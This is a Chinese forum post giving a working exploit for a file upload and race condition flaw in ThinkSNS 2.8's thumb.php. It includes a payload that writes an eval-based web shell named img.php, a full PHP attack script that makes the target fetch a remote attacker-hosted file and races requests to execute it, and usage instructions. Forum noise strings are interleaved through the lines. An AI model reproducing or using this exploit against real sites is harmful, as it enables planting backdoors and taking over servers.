找回密码
 立即注册
查看: 2664|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
- D: X0 K" V) P) D) i存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)9 d0 Q8 Q' \/ T2 ^
漏洞文件
/ I- Q0 w, F3 i7 X6 t) z存在漏洞的文件为:thumb.php
8 v: t3 a( h% E: T1 Q9 X( W) _( p作者:韦鲲鹏
3 F- n/ R1 K; h* L6 n7 o1、        准备如下PHP文件并上传到服务器(自己的)。
7 X% T* v0 {% Z7 b2 R0 ^" `4 S文件内容如下:
! f' N0 V2 f( i0 F<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>* Y+ Q: z0 o% P& c
2、        计算出临时的文件名:4 N+ w1 K# Q) l4 [- E4 q$ ?# f5 g
这里我们可以看文件的99行(刚刚是不是没注意呀!)。# r. Y7 [- i; ^# ?) t1 `2 Z; _. D
- T1 B8 f7 g0 s& ]7 {
3、        上传临时文件。
6 O; O' Q& P. H7 G1 p) s) r4、        访问临时文件。
9 p% I7 X6 t( }- J7 j但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)! h8 u+ O+ y; l) b; |8 c/ u: O2 V
Exploit文件内容如下:(这个我就不详细解释了)
1 l. ?1 r3 X% ]% ?- O8 Y) W<?php
) J$ z. Q2 Y! h- H" d8 m" Verror_reporting(0);  w* o/ e1 q- s" {, t) u
set_time_limit(0);
0 W: U( [7 i% G, g5 x' aini_set(“default_socket_timeout”, 5);
7 K- U* V6 c  J" Y7 ]function http_send($host, $port, $headers) {$ ^5 {. V- M" I2 M( m0 j( G
$fp = fsockopen($host, $port);
& ^' A: S- u" l7 jif (!$fp) die(‘Connection -> fail’);% a" n# P( @* R0 ]3 X
fputs($fp, $headers);3 X) I6 t+ }9 T, f( K8 |
return $fp;4 K( o' B' t) j4 Y$ O1 q% ~
}% v( A0 k6 w1 z/ m5 l2 A
function http_recv($fp) {+ l9 e; w( ~$ h3 M3 W0 X" N% Z' E, c
$ret=”";% d4 a  S& u0 c( l, M& y
while (!feof($fp))8 Z' F0 F* _& S6 a2 o
$ret.= fgets($fp, 1024);
! ~5 O% I2 h6 c' zfclose($fp);
# r0 w2 |0 ]" Preturn $ret;& Y. L$ v+ c1 |; J8 m$ U
}$ A, |3 ~5 S& u* c; i  R, `1 a2 S
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
* R1 e1 g. ]7 Oprint “# Discovered by 韦鲲鹏 #\n\n”;  U* k1 `( h" g! @2 g
if ($argc < 4) {
, i- y7 N" K  o8 q9 H9 I9 qprint “Usage:   php <host> <path> <romote_url>\n”;
  t8 w8 q+ m! a% iprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
) l  c% R' A6 a$ H1 `; T# rdie();! p% ?8 ~9 O# ^
}
& a: \& K% b  h, N! ^$host = $argv[1];9 h( t0 o+ d+ g, F- {( N3 }! [
$path = $argv[2];- r/ i; [0 X  ?" H. P7 S0 l; A4 @
$url = $argv[3];
' l$ v- y! d( A# ~; M9 R( [. z3 V$i=0;
! Z. R+ {6 T+ g+ V4 m) c9 }/ E% U//上传数据包, t! p3 R$ X( D
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
* H+ t3 {. [3 r' H* ~' _" P) O1 I. n$headers_up .= “Host: “.$host.”\r\n”;+ h9 ~: E0 ~+ V
$headers_up .= “Connection: close\r\n\r\n”;
4 [, `/ q& t: ~) H  t, k1 O6 L; Vecho $headers_up;
7 M: i" D* R( O! b+ Q- E//临时文件访问数据包
* H! W3 X7 t6 H3 B, V2 U5 R$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
! e% l6 @. F( ^9 F9 d  {$headers .= “Host: “.$host.”\r\n”;
) L* [) y7 `1 Y$ a* p$headers .= “Connection: close\r\n\r\n”;* g( L# b+ P! ^% H; \
echo $headers;
1 m, @/ z8 ?& C( @- b3 Cwhile(++$i<10) {
7 |! ~' L; n- e: p8 z" afclose(http_send($host, 80, $headers));
5 |2 W1 `5 Y2 N7 T* O  D}' M6 W8 o: k/ t! H* b
fclose(http_send($host, 80, $headers_up));5 r# a& Y( v# X1 {0 L4 i
while(++$i<50) {$ J9 C9 A1 U) b  Y
fclose(http_send($host, 80, $headers));
* i1 k" }# |1 l, F- q}
: ~) B6 y6 Z2 g5 G2 I& k$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' L9 ^( v4 L5 f" C# H7 @7 x4 W$headers .= “Host: “.$host.”\r\n”;& ~+ ]. L2 |$ C5 D
$headers .= “Connection: close\r\n\r\n”;
4 x4 S8 W1 B9 F- K$res=http_recv(http_send($host, 80, $headers));7 ]2 J3 B7 U8 P, P
if(preg_match(‘/200 OK/’,$res)) {. S" E! C% l( V% M% R
print “Success!\n\n”;2 G5 q, }" ^2 F4 i/ }3 k
} else {  N1 y+ K) D; j8 w8 u6 K8 j3 Q0 g# c
print “Fail!\n\n”;
% w8 [7 g5 \) z2 [' \}4 C% w% p9 \2 F5 t& |0 ^! Q( ?+ m
?>& U% V0 m8 q9 D- g  |& N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表